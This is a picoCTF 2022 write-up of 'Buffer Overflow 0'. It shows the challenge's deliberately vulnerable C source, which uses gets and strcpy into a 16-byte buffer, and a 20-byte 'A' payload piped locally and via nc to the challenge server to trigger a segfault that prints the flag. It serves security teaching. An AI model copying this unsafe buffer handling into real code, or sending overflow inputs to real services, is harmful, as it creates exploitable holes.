picoCTF 2022 - Buffer Overflow 0
Let’s gather some information before attempting to execute the binary
$ file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=08fef67fdcc0d93019a26a2f8f97279dee848031, for GNU/Linux 3.2.0, not stripped
$ pwn checksec vuln
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We can see that it’s a 32 bit ELF file dinamically linked and not stripped. If we attempt to execute it, we are prompted for a text file named flag.txt
. Let’s create it and run the binary again.
$ echo "Buffer Overflow HERE" >> flag.txt
$ ./vuln
Input: zanef
The program will exit now
Nothing strange happens. We check the source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
There’s only one function that should stands out and it’s sigsegv_handler()
. This function receives an integer and prints out the flag. We can see that in this line sigsegv_handler()
is passed as an argument to another function named signal()
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
With a simple online search we can read that signal()
“sets a function to handle signal i.e. a signal handler with signal numer sig” and SIGSEV
is “a signal propagated when a program tries to read or write outside the memory it is allocated for it”. With these two definitions we can deduce that this program, when there’s an invalid storage read or write, calls the handler that prints the flag.
We have to write or read outside the program boundaries. Check the source code again and we can see that the function vuln()
uses strcpy()
to copy the input string into a buffer. strcpy()
is a function vulnerable to buffer overflow so if we pass an input larger than the buffer that sould contain it, strcpy()
will try to write it anyway and will overwrite the memory addresses after the limits.
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
We can see that in the main()
function it’s used gets()
that is another buffer overflow vulnerable function.
char buf1[100];
gets(buf1);
Let’s exploit strcpy()
by feeding the program with inputs longer than 16 bytes.
$ python -c 'print "A" * 16' | ./vuln
Input: The program will exit now
$ python -c 'print "A" * 20' | ./vuln
Input: Buffer Overflow HERE
With an input of 20 bytes the program prints out the content of our flag.txt
file. This means that the program tried to write outside its boundaries and generated a segmentation fault signal. We can confirm our assumption with this command
$ sudo dmesg
segfault at 0 ip 00007fc88e67c375 sp 00007ffec5897fd8 error 4 in libc-2.33.so[7fc88e52e000+158000]
We can now exploit the remote service and get some points
$ python -c 'print "A" * 20' | nc saturn.picoctf.net 65355
Input: picoCTF{ov3rfl0ws_ar3nt_that_bad_[redacted]}